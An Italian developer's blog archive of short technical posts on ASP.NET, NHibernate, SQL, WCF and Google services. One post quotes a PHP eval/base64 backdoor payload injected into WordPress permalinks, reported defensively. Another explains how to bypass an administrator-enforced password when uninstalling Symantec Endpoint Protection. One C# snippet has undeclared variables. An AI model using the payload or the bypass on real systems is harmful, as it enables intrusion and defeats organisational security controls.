Archivio per la categoria ‘Technology’

Aug
16

Google Code

Postato in  
Technology

Con un mio collega, ho iniziato a sviluppare un componente per realizzare una griglia (un gridview, per intenderci) in asp.net mvc.

Abbiamo deciso di utilizzare Google Code come server repository. Pare funzionare benissimo, tra le altre funzionalità è comodo l’avere a disposizione un server subversion.

Tuttavia è incredibile come non abbiano dato la possibilità di aggiornare più di un indirizzo mail per le modifiche applicate al codice (funzionalità, per altro, già presente in google docs da parecchio tempo)

Aug
11

Nuovo look per gmail

Postato in  
Technology

Piccoli passi avanti per il look e l’usabilità di gmail.
La più interessante, almeno per il sottoscritto, è la nuova gestione dei contatti.

Jul
24

ASP.NET ListView: itemPlaceHolder InvalidOperationException

Postato in  
Technology

Sto approcciandomi per la prima all’utilizzo del componente ListView, nettamente più potente e flessibile (soprattutto in termini di personalizzazione del layout) rispetto al GridView.

Seguendo l’esempio di Scott Gu, ho creato un ListView del tipo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<asp:ListView runat="server" ID="temp">
  <LayoutTemplate>
  <table>
    <asp:PlaceHolder ID="itemContainer" runat="server">
    </asp:PlaceHolder>
  </table>
  </LayoutTemplate>
 
  <ItemTemplate>
  <tr>
    <td>
      <%#Eval("Descrizione") %>
    </td>
  </tr>
  </ItemTemplate>
</asp:ListView>

Tuttavia, ricevo questo errore a run-time:

È necessario specificare un segnaposto di elemento nell’elemento ListView ‘temp’. Specificare un segnaposto di elemento impostando la proprietà ID di un controllo su “itemPlaceholder”. Il controllo segnaposto di elemento deve inoltre specificare runat=”server”.

Andreas Kraus suggerisce la soluzione corretta, cioè sostituire il valore itemContainer con itemPlaceHolder (nuovo valore di default dell’ ItemPlaceHolderId di ListView)

Il codice corretto, quindi, è:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<asp:ListView runat="server" ID="temp">
  <LayoutTemplate>
  <table>
    <asp:PlaceHolder ID="itemPlaceHolder" runat="server">
    </asp:PlaceHolder>
  </table>
  </LayoutTemplate>
 
  <ItemTemplate>
  <tr>
    <td>
      <%#Eval("Descrizione") %>
    </td>
  </tr>
  </ItemTemplate>
</asp:ListView>

A questo punto, tutto funziona correttamente: il controllo itemPlaceHolder viene sostituito a run-time con il contenuto esplcitato dell’ItemTemplate :)

Ovviamente, il valore della proprietà ID del componente asp:PlaceHolder dichiarato dentro il LayoutTemplate, è personalizzabile grazie all’attributo ItemPlaceholderID di ListView

Jul
9

TSQL: leggere i tipi delle colonne di una tabella

Postato in  
Technology

Stavo ragionando sull’estender Fluent NHibernate per automatizzare il processo di produzione delle entità (sempre ammesso che non esista ancora nulla del genere).

Mi sono quindi posto il problema di come fare per leggere i tipi delle colonne di una tabella. Mi risponde Joe Webb sul suo blog:

1
2
3
4
5
6
7
8
9
10
11
12
13
SELECT 
   ORDINAL_POSITION
  ,COLUMN_NAME
  ,DATA_TYPE
  ,CHARACTER_MAXIMUM_LENGTH
  ,IS_NULLABLE
  ,COLUMN_DEFAULT
FROM   
  INFORMATION_SCHEMA.COLUMNS 
WHERE   
  TABLE_NAME = 'TABLE_NAME' 
ORDER BY 
  ORDINAL_POSITION ASC;
Jun
8

Fluent NHibernate mapping exception: Association references unmapped class

Postato in  
Technology

Ieri ho perso metà pomeriggio di lavoro per una mia non conoscenza del mapping delle Entity in Fluent NHibernate.

L’eccezione lanciata da NHibernate:

1
Association references unmapped class: YourClass

Il mapping delle mie Entity avviene tramite un metoto CreateSessionFactory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 
FluentNHibernate.Cfg.Fluently.Configure()
  .Database
    (
      FluentNHibernate.Cfg.Db.MsSqlConfiguration.MsSql2008
        .ConnectionString(
          c => c.Server(DbConnectionValue.Server)
                    .Username(DbConnectionValue.User)
                    .Password(DbConnectionValue.Password)
                    .Database(DbConnectionValue.Database)
          )
        .ProxyFactoryFactory("
NHibernate.ByteCode.LinFu.ProxyFactoryFactory
,NHibernate.ByteCode.LinFu")
  )
  .Mappings
  (
    m => m.FluentMappings
.AddFromAssemblyOf<OneClass.Of.My.Repository>()
  )
  .BuildSessionFactory();

Bisogna fare attenzione che esistono 2 regole affinchè si possa correttamente caricare il mapping di Entity caricate tramite il metodo AddFromAssemblyOf:

1. dichiarare sempre public le classi di mapping;
2. definire sempre le proprietà Id;

May
27

Vodafone, la crisi ed il cliente perduto

Postato in  
Riflessioni, Technology

E’ un po’ che seguo l’evoluzione dei cellulari Android, ed ero stato attratto dall’Acer Liquid.

La radio, in uno dei suoi spot sfavillanti e accattivanti, mi annuncia che la Vodafone ha inserito il suddetto smartphone nei suoi listini ed io tutto giulivo sono andato in un negozio Vodafone One, il primo che mi è capitato a tiro.

Una paziente attesa mi permette di osservare i vari smartphones in vendita e trovo per l’appunto esposto quello che stavo cercando, vi era un cartellino che mi indicava l’esistenza di un piano in abbonamento o l’acquisto a 399€.

Sfortunatamente non avevo mai avuto in mano un cellulare con Android, volevo quindi cogliere l’occasione per testare qualche opzione, per toccare con mano la reattività, per vedere quanto fosse accattivante e per gustare la Google experience che tanto mi attrae.
Arrivato finalmente il mio turno chiedo alla signora di poter vedere il Liquid, avevo quasi l’acquolina, alchè la signora apre la vetrinetta e mi mette in mano l’oggettino tecnologico con un gesto un pochino scocciato, bramoso vado a cercare il pulsantino di accensione e chiedo “Posso accenderlo vero?” supponendo fosse una domanda retorica. La doccia fredda è arrivata con la risposta “No, per disposizioni interne i cellulari non si accendono”, resto un po’ perplesso, ma come? Che cosa dovrei vedere con il mattoncino di plastica in mano? Domande mi attanagliavano e quindi ho chiesto “Ma scusi, il valore di questo smartphone è nel software, che io vedo la plastica esterna che ci faccio? Che faccio le do 400€ così sull’unghia e neanche lo posso provare?”, la signora un po’ infastidita mi dice “Eh ma guardi che per i cellulari è così, è difficile che glielo facciano accendere” e dunque un po’ seccato glielo restituisco e le dico “Con questo non ci faccio niente, è una politica insensata, arrivederci”. E me ne sono uscito un po’ intristito.

Dunque, ricapitoliamo, io sono entrato in un negozio, in un tempo di crisi,  domando del pezzo praticamente più costoso di tutto il negozio e quando chiedo di provarlo mi si risponde che non si può e che se mi sta bene compro a scatola chiusa sennò arrivederci? Qualcosa non torna. Non pretendo il tappeto rosso perchè sono bello, ma quando ho nominato quel cellulare alla signora sarebbe dovuto apparire un counter sopra la mia testa con scritto “399,00€” e l’idea di farmi strisciare la carta di credito sarebbe dovuta diventare la sua ossessione e invece no “Guardi coi cellulari è così”. Ma dico io.. tenete un muletto di prova, inventatevi qualcosa. Io detesto Apple per molti motivi, ma dal punto di vista del marketing sono imbattibili, andate in un Apple store, potrete giocare con qualsiasi aggeggio in vendita per tutta la giornata se vorrete. Volete sapere come funziona un iPhone? Un addetto vi farà provare i suoi più reconditi segreti e voi sarete così ammaliati che lo vorrete comprare subito.

Per concludere, la crisi si combatte coi soldi, io sono il cliente, io porto i soldi quindi devo essere coccolato e munto del mio denaro, la politica della Vodafone è assurda e arretrata e spero che qualche rivenditore illuminato la aggiri al più presto.

May
20

Asp.net MVC JavaScriptSerializer: non serializzare proprietà automatich

Postato in  
Technology

Immaginiamo di avere il seguente modello:

1
2
3
4
5
6
7
8
 
public class MyModel
{
  public string Cognome { get; set; }
  public string Nome { get; set; }
 
  public DateTime DataNascita { get; set; }
}

Immaginiamo di utilizzare questo modello per renderizzare una View. Successivamente, questa ipotetica View restituirà in post lo stesso Modello.

Una delle scelte archiettturali che si può seguire, è quella di serializzare MyModel in JSon per poi passarlo al server. Ipotizziamo, adesso, di non voler serializzare una delle proprietà di MyModel, ad esempio DataNascita. Per farlo, basta agganciare alla proprietà DataNascita, l’attributo ScriptIgnore:

1
2
3
4
5
6
7
8
9
 
public class MyModel
{
  public string Cognome { get; set; }
  public string Nome { get; set; }
 
  [ScriptIgnore]
  public DateTime DataNascita { get; set; }
}
May
18

Jquery UI 1.8rc1, Jquery 1.4.1, Jquery masked input 1.2.2: datepicker bug

Postato in  
Technology

Recentemente ho riscontrato un bug nell’utilizzo del componente datepicker in accoppiata con il plugin masked input di query.
Quando si seleziona una data dal calendarietto associato e si cerca poi di modificarla manualmente, il sistema cancella completamente la data, costringendo l’utente ad inserirla nuovamente.

Ho aperto un ticket nella sezione dev di jquery.

May
11

C#: parametri ‘Specified’ nei servizi WCF

Postato in  
Technology

Ipotizziamo di avere questo contratto in un servizio WCF:

1
2
[OperationContract]
string HelloWorld(string foo, int bar);

Nel caso in cui ci si agganci da client non-WCF, come ad esempio client dotnet 1.1 (o client non dotnet), ci si potrebbe trovare in una situazione come la seguente:

1
2
Service1.HelloWorld(string foo, bool fooSpecified
, int bar, bool barSpecified);

L’ultimo parametro viene aggiunto per esplicitare l’obbligatorietà del parametro int bar. Questo comportamento nasce dall’assenza dei tipi nullable (int?, bool?) nei framework dotnet pre-2.0.

Per risolvere questa problematica:
1. aggiungere l’attributo XMLSerializerFormat come contratto all’interfaccia esposta dal web service WCF;
2. aggiungere l’attributo DataContract DataMember[IsRequired=true] alla proprietà da serializzare

Apr
29

Wordpress 2.3 MySql Injection via XMLRPC

Postato in  
Technology

Del tutto per sbaglio, mi sono reso conto solo oggi che il mio blog ha subito un attacco di tipo MySQL injection via XMLRPC. Non avendo accesso ai log di sistema, non posso capire a quando risalga questo attacco, credo comunque al più ricada negli ultimi 3 giorni.

Mi ha insospettito l’aver incollato il link al mio ultimo post nel mio status Facebook. Ho, infatti, notato che il link presentava, nella sua parte finale, la seguente stringa:

%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/

Cercando maggiori informazioni su Google, ho riscontrato che da ieri sono tantissimi i blog su piattaforma Wordpress sotto attacco.

Tipo di Attacco: Non è ancora chiaro come funzioni, ma pare che varie versioni di Wordpress siano attaccabili tramite questo exploit che consente agli utenti (non admin) di editare la struttura dei permalink del sito iniettando del codice PHP tramite una chiamata XML-RPC.

Soluzione: si deve modificare le opzioni della struttura dei propri permalink, dal pannello di controllo di wordpress ed, eventualmente, eliminare gli utenti admin registratisi (nel mio caso, però, non ho riscontrato la presenza di ulteriori admin).

Apr
20

Basta! Italia 2010

Postato in  
Technology

Venerdì sono stato al workshop “Principles & Patterns per .NET 4″, speaker Dino Esposito, ospitato da Basta! Italia 2010 (evento organizzato da dotnetcenter e Software & Support).

In generale è stato un gran bell’evento e la sola presenza di Dino Esposito giustifica il costo della sessione. Si è dimostrato una persona davvero molto disponibile; mi ha soprattutto colpito la disponibilità a testare codice attualmente sperimentale, sulla base delle domande poste dai partecipanti.

Forse ad essere iper critico, mi sarei aspettato un approfondimento maggiore su DI ed IOC nel pomeriggio, quando ha presentato il framework MEF in .NET4.

In definitiva, ne esco parecchio soddisfatto.

Apr
14

c#: stringhe e valori enums

Postato in  
Technology

Ultimamente mi sono ritrovato a dover fronteggiare un problema che, in realtà, è abbastanza comune.
Immaginiamo di avere un’area generica (diciamo un div) all’interno del quale restituiamo all’utente un messaggio a seconda della specifica funzionalità che deve eseguire.

Nell’ottica del riutilizzo del codice, potrebbe essere utile cambiare il messaggio visualizzato a seconda del punto dal quale si giunge.

Per questa ragione mi son chiesto se esistesse un modo per poter associare ad un enums uno specifico valore stringa. L’enums è sicuramente utile per individuare il punto dal quale si proviene, ma da solo non è sufficientemente potente per fornire un feedback all’utente.

Mai re-inventare la ruota, quando google ti può dare una mano :)
Stefan Sedich fornisce un’ottima soluzione al mio problema.

1. Definire un nuovo attributo custom di classe;

public class StringValueAttribute : Attribute
{
	public string StringValue { get; set; }
 
	public StringValueAttribute(string value)
	{
		this.StringValue = value;
	}
}

2. Creare un extension method il cui obiettivo sarà quello di recuperare il valore stringa dell’attributo StringValue associato ai singoli enums;

public static class StringValueExtension
{
    public static string GetStringValue(this Enum value)
    {
        type = value.GetType();
        fieldInfo = type.GetField(value.ToString());
 
  	StringValueAttribute[] attribs = 
        fieldInfo.GetCustomAttributes(
	   typeof(StringValueAttribute), false) 
           as StringValueAttribute[];
 
	return attribs.Length > 0 ? attribs[0].StringValue : null;
    }
}

3. Creare un enums con associato un attributo StringValue.

public enum Test : int 
{
    [StringValue("a")]
    EnumsA = 1,
 
    [StringValue("b")]
    EnumsB = 2        
}
Mar
29

ITunes 9.0.3 Windows 7 64 bit

Postato in  
Technology

Scaricabile da qui

Mar
25

Youtube è morto

Postato in  
Riflessioni, Technology

Attualmente, collegandosi al sito web di youtube, il servizio di Google risponde con un bel:

Http/1.1 Service Unavailable

Mar
22

Installare il servizio Subversion SVN su piattaforma Windows

Postato in  
Technology

A partire dalla versione 1.4.0 di Subversion, è possibile installare questo servizio così che si possa velocemente automatizzare l’avvio dei repository al boot della macchina.

E’ sufficiente eseguire questo comando da linea di comando:

sc create svnserve binPath= “\”C:\path\to\svnserve.exe\” –service -r c:\path\to\repo” DisplayName= “Subversion Service” depend= Tcpip start= auto obj= Server\SvnDaemon password= P@ssw0rd

(via James Kovacs)

Mar
19

Ottimizzazioni

Postato in  
Riflessioni, Technology

Ieri sera discutevo con Marco che un set di icone free scaricato dalla rete, era organizzato in una miriade di sotto directory innestate tra di loro.

Ho suggerito la possibilità di creare una piccola applicazione al fine di risolvere questo problema, andando a ricopiare tutte le icone in una directory singola.

Marco riesce sempre ad ottimizzare alla grande i processi. Mi ha fatto notare che il “Cerca” di windows riesce a fare esattamente la stessa operazione, basta cercare solo ed esclusivamente un determinato formato grafico :)

Mar
19

Google Chrome: barra del traduttore

Postato in  
Technology

Da qualche giorno su Google Chrome compare, ad ogni accesso ad una pagina in inglese, una noiosissima barra che propone di tradurre la pagina dall’inglese all’italiano.

Per fortuna che si può disattivare!

Mar
16

ASP.NET Entity Framework 4 (EF4): Unable to load the specified metadata resource

Postato in  
Technology

Consideriamo il caso di un’applicazione n-layered:
- strato di Presentation;
- strato di Business Logic;
- strato DAL per l’accesso ai dati sfruttando Linq to Entity;
- strato dell’ObjectModel.

All’interno di quest’ultimo creiamo un modello sfruttando le potenzialità della nuova versione di Entity Framework 4 (EF4).

Può capitare di imbattersi nel seguente errore in fase di istanziazione dell’ObjectContext e quindi di connessione al db:

Unable to load the specified metadata resource

L’errore, nel mio caso, derivava da una non corretta valorizzazione dell’attributo MetaData dell’oggetto EntityConnectionStringBuilder.

Quando Visual Studio 2010 crea il modello per voi, parte dal presupposto che la stringa di connessione non venga usata in ambiente n-layered. Per questo motivo, la stringa di connessione avrà un aspetto del tipo:

res://*/Model.csdl|res://*/Model.ssdl|res://*/Model.msl

Il problema si presenta nel momento in cui si cerca di istanziare l’ObjectContext da un altro strato dell’applicazione.

Ciò avviene perchè Res://*/ è un URI che punta alla risorsa nell’assembly corrente. Nel caso in cui, come detto, l’edmx del modello si trovi in un assembly diverso dal codice che si sta usando, res://*/ non riesce a risolvere la risorsa nella posizione corrente.

Basterà quindi specificare l’esatta posizione del Modello edmx:

res://ObjectModel/Model.csdl|res://*/
Model.ssdl|res://ObjectModel/Model.msl

(via stackoverflow)

Mar
15

Visual Studio 2010 RC KB980610: crash e riavvi

Postato in  
Technology

Se vi trovate a lavorare su un progetto con Visual Studio 2010 RC, sappiate che questa versione è affetta da un bug che porta al crash ed al conseguente riavvio, in corrispondenza di particolari eventi dell’intellisense o nel caso in cui abbiate dei device tablet connessi alla vostra macchina.

Microsoft ha già rilasciato la patch KB980610 VS10-KB980610-x86.exe su connect.microsoft.com.

(via Scott Guthrie)

Mar
14

dotnecampus 2010

Postato in  
Technology

Ieri sono stato al dotnecampus 2010, organizzato da DevLeap assieme ad AspItalia, Microsoft ed altre community ed ospitata nella splendida struttura della Facoltà di Ingegneria di Roma 3.

In linea generale è stato sconfortante osservare come il mondo universitario sia un abisso indietro rispetto al mondo del lavoro che, peraltro, soprattutto nella PA, qui a Roma, è a sua volta quanto di meno innovativo ed aperto che possa esistere.

Se guardassi la conferenza dal punto di vista di chi lavora, il profilo era molto basso ed anche le domande poste ai vari speaker mi avrebbero fatto cadere le braccia a terra (è disarmante già il solo fatto che non si abbia ben chiaro la differenza tra client e server).

La guardo invece dal punto di vista di uno studente, per cui conferenze come queste sono sicuramente utili per capire come muoversi in un mondo, quello dello sviluppo, che di giorno in giorno offre soluzioni sempre più innovative.

Mar
5

Asp.NET TextBox: attributo MaxLength in modalità MultiLine

Postato in  
Technology

Quando vi trovate ad utilizzare il componente asp:textbox in modalità multiline, noterete che l’attributo maxlength non funziona.

Non conosco ne conosco la ragione, però esiste un work-around:

private const int MAX_LENGTH = 100;
 
protected void Page_Load(object sender, EventArgs e)
{
string lengthFunction = "function isMaxLength(txtBox) {";
    lengthFunction += " if(txtBox) { ";
    lengthFunction += 
      "     return ( txtBox.value.length <=" + MAX_LENGTH + ");";
    lengthFunction += " }";
    lengthFunction += "}";
 
this.txtMyTextBox.Attributes.Add("onkeypress", 
      "return isMaxLength(this);");
      ClientScript.RegisterClientScriptBlock(
        this.GetType(), 
        "txtLength", 
        lengthFunction , true);
 
}

(via codegod.de)

Feb
22

Asp.NET e Microsoft Reporting Services: ordinare una tabella Tablix da c#

Postato in  
Technology

In alcuni casi, nel realizzare un’applicazione web ha senso appoggiarsi a Microsoft Reporting Services per consentire agli utenti di stampare il risultato di una generica griglia sulla quale è possibile applicare un sorting.

Il problema è quello di riportare l’esatto sorting applicato sulla griglia anche sul report generato da Microsoft Reporting Services.

A tal fine, quindi, la strada che ho seguito è la seguente:

1. Creare due nuovi parametri all’interno del report: DIRECTION e SORTBY (parametri stringa con valore anche eguale a stringa vuota);

2. Entrare nelle proprietà della tabella Tablix, sezione ordinamento. Inserire le due seguenti espressioni:

=iif(Parameters!DIRECTION.Value="asc"
,Fields(Parameters!SORTBY.Value).Value,0)
=iif(Parameters!DIRECTION.Value="desc"
,Fields(Parameters!SORTBY.Value).Value,0)

Imporre che la prima sia un ordinamento “da A a Z” e la seconda un ordinamento “da Z ad A”

A questo punto è sufficiente impostare questi due parametri da codice c# ed il gioco è fatto :)

(via 15seconds.com)

Feb
19

Rimuovere Norton Symantec EndProtecion 11

Postato in  
Technology

Premessa: qualsiasi programma della norton io abbia usato [per sbaglio o per imposizioni varie] si è sempre rivelato un cancro per tutte le mie macchine.

In ambienti chiusi da autenticazione Active Directory e, nel mio caso, quando si ha a che fare con realtà come la Pubblica Amministrazione, viene imposta l’installazione di Norton Symantec EndProtection. Per poter eseguire correttamente il processo di disinstallazione di questo software viene richiesta una password, inserita dall’amministratore di sistema.

Per ovviare a questo problema, quando compare il box nel quale si chiede la password, bisogna killare il processo msiexec.exe del proprio utente (mi raccomando, non il processo msiexec.exe dell’utente System).

Magicamente il box scomparirà e sarà possibile disinstallare Norton.

Feb
10

Google Buzz

Postato in  
Technology

Finalmente me l’hanno attivato.
La curiosità era tanta, la delusione altrettanta.

Google Buzz altro non è che la copia 1 a 1 di FriendFedd, nè più nè meno.
Non aggiunge nulla di nuovo, graficamente è più scarno e mi pare che anche il flusso di aggiornamento dei buzz sia parecchio più arretrato di quello di FriendFeed.

Dopo una prima mezza giornata di utilizzo non senso assolutamente la necessità di continuare a farne uso.
A tutto ciò, bisogna anche aggiungere la gestione un pò retrò delle amicizie. Diciamo che l’interfaccia spartana e poco user-friendly (soprattutto se paragonata a FriendFeed e Facebook) non aiuta di certo a capire chi ti segue e soprattutto come fare per seguire altre persone.

Più interessante, senza ombra di dubbio, come segnalato da Maurizio sul suo blog, l’aver rilasciato immediatamente le API per sviluppare servizi che si aggancino a Buzz. Yahoo ne ha approfittato dopo solo 15 minuti.

Speriamo si evolva [rapidamente]

Feb
9

Better Software 2010

Postato in  
Riflessioni, Technology

Durante la lettura quotidiana dei miei feed, ho scoperto di Better Software 2010.
Il prezzo è abbordabile ed anche la location, Firenze, non è troppo lontana.

Sono indeciso se andarci. Qualcuno ha partecipato all’evento dell’anno scorso?

(via fucinaweb)